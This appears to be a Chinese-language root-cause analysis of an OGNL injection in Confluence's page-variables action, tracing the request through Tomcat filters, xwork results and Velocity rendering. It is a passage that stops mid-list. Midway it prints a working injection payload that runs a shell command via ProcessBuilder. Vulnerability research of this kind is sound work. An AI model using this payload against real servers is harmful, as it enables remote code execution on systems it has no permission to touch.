internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:97, JmxFilter (com.atlassian.confluence.jmx)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:22, TransactionalCacheFactoryCleanupFilter (com.atlassian.confluence.cache)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:17, ServletContextThreadLocalFilter (com.atlassian.core.filters)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:32, UserLoggingContextFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:25, UserNameHeaderFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:31, MauEventFilter (com.atlassian.confluence.web.filter)
doFilter:43, AbstractStaticResourceAwareFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:38, UserThreadLocalFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:57, ConfluenceTimeoutFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:74, HttpSessionRegistrarFilter (com.atlassian.confluence.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:242, SecurityFilter (com.atlassian.seraph.filter)
applyFilter:40, ConfluenceSecurityFilter (com.atlassian.confluence.web.filter)
doFilter:29, ConfluenceSecurityFilter (com.atlassian.confluence.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:25, ThreadLocalCacheFilter (com.atlassian.confluence.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:94, TrustedApplicationsFilter (com.atlassian.security.auth.trustedapps.filter)
doFilter:35, AbstractBootstrapHotSwappingFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:148, BaseLoginFilter (com.atlassian.seraph.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:67, OAuthFilter (com.atlassian.oauth.serviceprovider.internal.servlet)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:56, PrettyUrlsCombinedMatchDispatcherFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
doFilter:55, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:43, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:50, JohnsonServletFilterModuleContainerFilter (com.atlassian.johnson.plugin.servlet.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:57, ClusterHeaderFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:170, OpenSessionInViewFilter (org.springframework.orm.hibernate.support)
doFilterInternal:41, ConfluenceOpenSessionInViewFilter (com.atlassian.confluence.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:24, ConfluenceErrorFilter (com.atlassian.confluence.util)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:105, ProfilingFilter (com.atlassian.util.profiling.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:37, RequestTimeThreadLocalFilter (com.atlassian.confluence.core.datetime)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:31, AbstractCachingFilter (com.atlassian.core.filters.cache)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:26, DefaultAnalyticsFilter (com.atlassian.analytics.client.filter)
doFilter:48, AbstractHttpFilter (com.atlassian.analytics.client.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:37, JwtAuthFilter (com.atlassian.jwt.internal.servlet)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:46, AbstractThreadNamingFilter (com.atlassian.troubleshooting.thready.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:58, HttpRequestStatsFilter (com.atlassian.confluence.web.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilterInternal:115, GzipFilter (com.atlassian.gzipfilter)
doFilter:92, GzipFilter (com.atlassian.gzipfilter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:47, ConfluenceTimingFilter (com.atlassian.confluence.web.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:56, PrettyUrlsCombinedMatchDispatcherFilter (com.atlassian.prettyurls.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
lambda$doFilter$0:57, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:-1, 1754793543 (com.atlassian.plugin.servlet.filter.DelegatingPluginFilter$$Lambda$2156)
doFilter:72, WebdavRequestForwardFilter (com.atlassian.confluence.extra.webdav.servlet.filter)
doFilter:29, AbstractHttpFilter (com.atlassian.confluence.extra.webdav.servlet.filter)
doFilter:62, DelegatingPluginFilter (com.atlassian.plugin.servlet.filter)
doFilter:37, IteratingFilterChain (com.atlassian.plugin.servlet.filter)
doFilter:55, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:43, ServletFilterModuleContainerFilter (com.atlassian.plugin.servlet.filter)
doFilter:50, JohnsonServletFilterModuleContainerFilter (com.atlassian.johnson.plugin.servlet.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:36, MobileAppRequestFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:59, IgnoreWebAsyncManagerFilter (com.atlassian.confluence.internal.web.filter.spring)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, RequestParamValidationFilter (com.atlassian.confluence.web.filter.validateparam)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, TranslationModeFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:71, ActionContextCleanUp (com.atlassian.confluence.plugin.servlet.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:39, LanguageExtractionFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
lambda$doFilter$3:44, VCacheRequestContextFilter (com.atlassian.confluence.impl.vcache)
perform:-1, 1213630281 (com.atlassian.confluence.impl.vcache.VCacheRequestContextFilter$$Lambda$2111)
doInRequestContextInternal:84, VCacheRequestContextManager (com.atlassian.confluence.impl.vcache)
doInRequestContext:68, VCacheRequestContextManager (com.atlassian.confluence.impl.vcache)
doFilter:43, VCacheRequestContextFilter (com.atlassian.confluence.impl.vcache)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:33, LoggingContextFilter (com.atlassian.confluence.util)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:59, RequestCacheThreadLocalFilter (com.atlassian.confluence.util)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:59, BraveServletFilter (com.github.kristofa.brave.servlet)
doFilter:52, ZipkinTracingFilter (com.atlassian.confluence.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:25, ResponseOutputStreamFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:59, AbstractJohnsonFilter (com.atlassian.johnson.filters)
doFilter:32, ConfluenceJohnsonFilter (com.atlassian.confluence.web)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:35, ConfluenceEncodingFilter (com.atlassian.confluence.setup)
doFilter:43, AbstractStaticResourceAwareFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:37, HeaderSanitisingFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:64, FourOhFourErrorLoggingFilter (com.atlassian.confluence.servlet)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:42, HttpRequestMonitoringFilter (com.atlassian.confluence.internal.diagnostics)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:46, DebugFilter (com.atlassian.confluence.web.filter)
doFilter:32, AbstractHttpFilter (com.atlassian.core.filters)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:206, StuckThreadDetectionValve (org.apache.catalina.valves)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1128, ThreadPoolExecutor (java.util.concurrent)
run:628, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:829, Thread (java.lang)

从这一大坨调用栈中大致可以窥见confluence解析请求的整个架构,可以分三层来看

  • 底层由tomcat服务器处理,confluence主体实现了一些filter来进行登录、监控等处理
  • confluence插件由ServletFilterModuleContainerFilter#doFilter来处理,在该filter中又有一个confluence插件的filter链,类似于内层ApplicationFilterChain的作用
  • filter处理完后到servlet了,xwork由ServletDispatcher这个servlet来处理,在confluence中,ConfluenceServletDispatcher继承了ServletDispatcher,调用serviceAction方法来处理视图映射,ActionProxy是连接servlet和action的桥梁,在调用具体的Action(前面说的PageVariablesAction)之前,还会有Interceptor链来处理,Interceptor链主要进行request参数解析,设置到对应的ActionContext和XxxAction当中。Interceptor链处理完后再调用对应Action类的相关方法,默认是execute,也可以在xwork.xml文件中指定其他方法。最后得到resultCode,根据action和resultCode在xwork.xml中我们可以获取到最终要渲染的vm模板,最后由Velocity模板引擎根据前面处理得到的Context(Stack)和Action来合并、解析模板文件,在这里便会触发OGNL表达式注入

image-20220515170645134

所以我们重点关注的部分就是上面的第三部分。

com.opensymphony.xwork.DefaultActionInvocation#executeResult

前面Interceptors具体做了多少事情我们先不管,Interceptors执行完之后,会在DefaultActionInvocation#invoke中调用this.executeResult();来转入Velocity模板引擎处理结果。所以我们从executeResult开始跟

image-20220515151402621

跟进createResult,先从proxy的ActionConfig中拿出所有的ResultConfigs,所有的ResultConfigs在xwork.xml中都有定义,对于PageVariablesAction来说,包括<global-results>和该action标签下的result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<global-results>
<result name="websudorequired" type="redirect">/authenticate.action?destination=${destination}</result>

<!-- deprecated since 7.2.0. Use invalidmethod results instead -->
<result name="httpmethodnotallowed" type="httpheader">
<param name="status">405</param>
</result>
<result name="invalidmethod" type="httpheader">
<param name="status">405</param>
</result>
<result name="readonly" type="chain">
<param name="actionName">readonly</param>
</result>
<result name="notpermitted" type="chain">
<param name="actionName">notpermitted</param>
</result>
<result name="notpermittedpersonal" type="chain">
<param name="actionName">notpermittedpersonal</param>
</result>
<result name="notfound" type="chain">
<param name="actionName">fourohfour</param>
</result>
<result name="alreadysetup" type="velocity">/setup/alreadysetup.vm</result>
<result name="licenseexpired" type="velocity">/licenseexpired.vm</result>
<result name="licenseusersexceeded" type="velocity">/licenseusersexceeded.vm</result>
<result name="loginrequired" type="redirect">login.action</result>
<result type="rss" name="rss">
<param name="location">rss_2.0</param>
</result>
<result type="rss" name="rss2">
<param name="location">rss_2.0</param>
</result>
<result type="rss" name="rss1">
<param name="location">rss_1.0</param>
</result>
<result type="rss" name="atom">
<param name="location">atom_1.0</param>
</result>
<!-- Atom 0.3 is deprecated. Please do not use unless absolutely necessary -->
<result type="rss" name="atom03">
<param name="location">atom_0.3</param>
</result>
<result type="rss" name="atom10">
<param name="location">atom_1.0</param>
</result>
<result name="pagenotfound" type="dispatcher">/pages/pagenotfound.action</result>
<result name="notsetup" type="redirect">/bootstrap/selectsetupstep.action</result>
</global-results>


<action name="doenterpagevariables" class="com.atlassian.confluence.pages.actions.PageVariablesAction" method="doEnter">
<result name="error" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="input" type="velocity">/pages/createpage-entervariables.vm</result>
<result name="success" type="velocity">/pages/createpage.vm</result>
</action>

然后再根据resultCode拿到对应的ResultConfig来buildResult,要想得到对应的/pages/createpage-entervariables.vm模板文件的话,resultCode必须是input或者error(resultCode在Interceptors中获取),这里正好是input。ResultConfig封装了Result类和模板文件(params的location)的信息

image-20220515151548253

image-20220515152405721

所以在buildResult中使用com.atlassian.confluence.util.ConfluenceUberClassLoader来加载Result类并实例化,最后得到的Result类是,从该Result也可以看出来最后要经过Velocity模板引擎的处理

image-20220515153019014

除了上面的Result外,还有其他常用的Result

image-20220515153201934

com.opensymphony.webwork.dispatcher.WebWorkResultSupport#execute

WebWorkResultSupport是Result类的子抽象类,是大部分xwork.xml不同Result的父类,所有xwork中映射的Result都会先经过该父类的execute方法处理。execute方法主要做两件事:

  • 解析location,location就<result>标签中的内容,如/pages/createpage.vm${xxx}
  • 调用具体子类的doExecute来具体处理不同的result

可以看到,调用了TextParseUtil.translateVariables方法来处理location,而且传入了stack,说明该方法内部可能要对location进行ognl解析,这里主要是针对${xxx}的情况

image-20220516164701194

具体看一下translateVariables方法

image-20220515164434252

${}作为界定符,取出其中的部分进行ognl表达式解析,但是需要注意,这里并非递归解析,而是并列解析,即${xx}${yy},会分别对xxyy进行ognl,然后拼接起来

所以如果location可控且后续会进行二次ognl表达式解析话,可能会出现新的0day。我尝试挖掘了一下,发现location确实可控,比如某些文章和的title等,但是后续在子类Result的处理中,并没有出现第二次的ognl解析。

com.atlassian.confluence.setup.webwork.VelocityResult#doExecute

对于VelocityResult来说,location就是模板文件的位置,解析出来是/pages/createpage-entervariables.vm。先会调用EncodingVelocityResult#doExecute,然后一直调用super.doExecute,最终VelocityResult#doExecute才是整个处理Velocity模板的地方。这个方法很长,但我们只需关注Velocity模板引擎解析模板的方法。

image-20220516165537707

首先调用this.getTemplate(stack, velocityManager.getVelocityEngine(), invocation, finalLocation);获取Template,这里只是将location模板解析成一个模板语法树,语法树上节点具体的值还没有解析。

image-20220516165732543

可以看到data属性就是AST语法树的根,之后调用Template#merge(org.apache.velocity.context.Context, java.io.Writer)方法依赖OutputAwareWebWorkVelocityContext(OgnlValueStack等对象的封装)解析每个节点上的值,并将值写入到writer当中。

org.apache.velocity.runtime.parser.node.SimpleNode#render

之后调用ASTprocess#render方法,直接就是父类SimpleNode#render,之后就是遍历语法树进行解析设值了,createpage-entervariables.vm文件经过解析后的AST语法树如下图

image-20220516215912767

我们只需要关注value='$!queryString'这个节点即可。从顶层开始是ASTDirective,一直跟到该tag标签处理,调用栈如下

1
2
3
4
5
6
7
8
applyAttributes:394, AbstractTagDirective (com.opensymphony.webwork.views.velocity)
render:111, AbstractTagDirective (com.opensymphony.webwork.views.velocity)
render:175, ASTDirective (org.apache.velocity.runtime.parser.node)
render:72, ASTBlock (org.apache.velocity.runtime.parser.node)
getRenderedTagBody:179, ApplyDecoratorDirective (com.atlassian.confluence.setup.velocity)
render:154, ApplyDecoratorDirective (com.atlassian.confluence.setup.velocity)
render:175, ASTDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)

这里重点关注两个方法:

  • this.applyAttributes:第一层处理key-value对,其中会对$!queryString进行ognl表达式解析,也就是取出queryString真正的值,解析方式是调用对应的getQueryString(getter)方法,这个后续在关键点部分详细分析
  • this.processTag:会将第一层解析出来的值再一次进行OGNL解析

image-20220516171508694

先跟进一下this.applyAttributes,调用createPropertyMap方法来解析key-value对,对于tag标签中,有两个key-value对:name='queryString'value='$!queryString',对于第一个,没啥好说的,对于第二个,继续跟进putProperty方法

image-20220516190936174

image-20220516191254299

可以看到调用node.value(contextAdapter)之后,就会将其解析为

1
value='\u0027+Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).eval(\u0027var isWin = java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022id\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)+\u0027'

也就是把$!queryString解析为了我们post参数设置的字符串,具体是如何解析取值的,在关键点部分详细分析。

创建完propertyMap之后,调用OgnlUtil.setProperty(key, value, object, ognlContext)方法往当前的HiddenTag对象中设置属性值

image-20220516192019819

image-20220516192245179

之后跟进将HiddenTag对象传入processTag方法进行处理

image-20220516192441186

前面没啥,直接看tag.doEndTag()

image-20220516192559430

调用this.evaluateParams(stack);进一步解析处理前面设置的属性值

image-20220516192718587

可以看到,调用this.findValue(this.valueAttr, valueClazz)来处理,继续跟进,经过SafeExpressionUtil.isSafeExpression(expr)的安全检查后,会调用OgnlValueStack.findValue来进行ognl表达式解析,这里就是最终的sink点了

image-20220516192857085

最后调用this.mergeTemplate(this.getTemplateName());将最终解析出来的参数render到模板中并写入writer。

总结一下,velocity引擎在对于$!queryString的模板串的处理经过了两次ognl的解析导致ognl表达式注入,和之前struts的漏洞有类似的点。第一次ognl解析的作用是将queryString替换为post参数设置的值,第二次ognl解析就执行了任意代码。

几个关键点

$在velocity模板中的作用

可以发现,漏洞利用的两个入参点$!queryString$linkCreation前都有$,可以猜测$是一个标志,表示需要进行ognl的解析替换,那么具体的代码逻辑是怎么样的呢?前面分析到了,第一次ognl解析的主要函数是this.applyAttributes方法,再具体看一下

image-20220516193956563

跟进node.value,如果this.interpolate为true,则进行this.nodeTree.render,否则直接返回this.image

image-20220516194023125

  • this.image在这里是value='$!queryString'
  • this.interpolate由如下代码决定,所以只要包含$#,都会进行ognl的AST的进一步render,也就是第一次的ognl解析,而且也意味着,$!queryString的部分表示的是ASTReference,之后会调用ASTReference#render来解析
1
2
this.interpolate = this.rsvc.getBoolean("runtime.interpolate.string.literals", true) && this.getFirstToken().image.startsWith("\"") && (this.getFirstToken().image.indexOf(36) != -1 || this.getFirstToken().image.indexOf(35) != -1);
this.image = this.getFirstToken().image.substring(1, this.getFirstToken().image.length() - 1)

为什么$pageTemplate.id不行

接着上面一个问题,发现利用$pageTemplate.id这个入参点不行,为什么呢?继续跟一下上一个问题所说的,即ASTReference#render

image-20220516194913267

调用栈如下,一直跟到CompoundRootAccessor#getProperty,可以看到经过了OgnlValueStack#findValue,这里我们可以一探findValue,即ognl.Ognl#getValue(expr,OgnlContext,root)到底是如果取值的

1
2
3
4
5
6
7
8
9
10
11
12
13
getProperty:97, CompoundRootAccessor (com.opensymphony.xwork.util)
getProperty:1600, OgnlRuntime (ognl)
getValueBody:96, ASTProperty (ognl)
evaluateGetValueBody:171, SimpleNode (ognl)
getValue:193, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:310, Ognl (ognl)
findValue:141, OgnlValueStack (com.opensymphony.xwork.util)
internalGet:72, WebWorkVelocityContext (com.opensymphony.webwork.views.velocity)
get:193, AbstractContext (org.apache.velocity.context)
get:286, InternalContextAdapterImpl (org.apache.velocity.context)
getVariableValue:843, ASTReference (org.apache.velocity.runtime.parser.node)
execute:222, ASTReference (org.apache.velocity.runtime.parser.node)

首先从传入getValue的参数可以知道,expr(queryString)被OgnlUtil.compile(expr)解析为了ASTProperty,而取值依赖于OgnlContext和root,root其实就是多个Action类的封装。

image-20220516195717977

而对于ASTProperty的取值策略全部在ognl.OgnlRuntime#getProperty,该方法先根据source(=前面的root)获取ognl.PropertyAccessor,然后调用不同PropertyAccessor的getProperty方法,由于传入的root是封装了PageVariablesAction的CompoundRoot,所以获取的是CompoundRootAccessor

image-20220516200703039

跟进CompoundRootAccessor#getProperty方法,取出Actions,判断Action类中是否有property对应的getter方法,然后调用getter方法取值。

image-20220516201346033

前面说清楚了对于ASTProperty的取值策略,是基于setter/getter的,所以对于pageTemplate.id其实就是调用PageVariablesAction.getpageTemplate().getId()方法,但是一开始setId时就会报错,因此不能利用这个点。

image-20220516221643198

顺着分析下来还有一个疑问点:setter在哪里调用,即setQueryString

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
setQueryString:382, AbstractCreatePageAction (com.atlassian.confluence.pages.actions)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeMethod:500, OgnlRuntime (ognl)
callAppropriateMethod:794, OgnlRuntime (ognl)
setMethodValue:946, OgnlRuntime (ognl)
setPossibleProperty:76, ObjectPropertyAccessor (ognl)
setProperty:132, ObjectPropertyAccessor (ognl)
setProperty:1613, OgnlRuntime (ognl)
setProperty:45, CompoundRootAccessor (com.opensymphony.xwork.util)
setProperty:1613, OgnlRuntime (ognl)
setValueBody:105, ASTProperty (ognl)
evaluateSetValueBody:180, SimpleNode (ognl)
setValue:230, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:189, OgnlUtil (com.opensymphony.xwork.util)
setValue:113, OgnlValueStack (com.opensymphony.xwork.util)
setValue:97, OgnlValueStack (com.opensymphony.xwork.util)
before:142, SafeParametersInterceptor (com.atlassian.xwork.interceptors)
intercept:34, AroundInterceptor (com.opensymphony.xwork.interceptor)

可以发现由Intercptors链中的SafeParametersInterceptor#before来处理入参并设置到OgnlValueStack中

image-20220516202355432

HTML实体转义

ASTReference#render处理$!queryString解析的过程中,会将ognl解析出来的结果,进行HTML实体转义,其中<>&'"都会经过转义

image-20220516204622171

基于事件触发对应handler的方法来进行处理,会调用ReferenceInsertionEventHandler的子类来处理,可以看到Velocity模板不仅有HTML实体编码,还有sql,javascript的相关转义

image-20220516211610169

别被名称误导了,这里会实际调用atlassian自己写的PolicyBasedReferenceInsertionHandler来决定是否要进行转义和处理转义

首先会调用PolicyBasedReferenceInsertionHandler#referenceInsert方法根据ConfluenceHtmlEntityEncodingPolicy来决定选取哪个Handler来处理

image-20220516211916312

image-20220516211941158

对于ConfluenceHtmlAnnotationEscaper,则会进一步解析语法,而对于后者IdentityReferenceInsertionHandler,则直接返回(不进行转义)

关键就在shouldAutoEncode方法,该方法又由两个方法or来决定

  • ConfluenceHtmlEntityEncodingPolicy#isHtmlOutputMode:根据MIME类型,如text/html的话则返回true
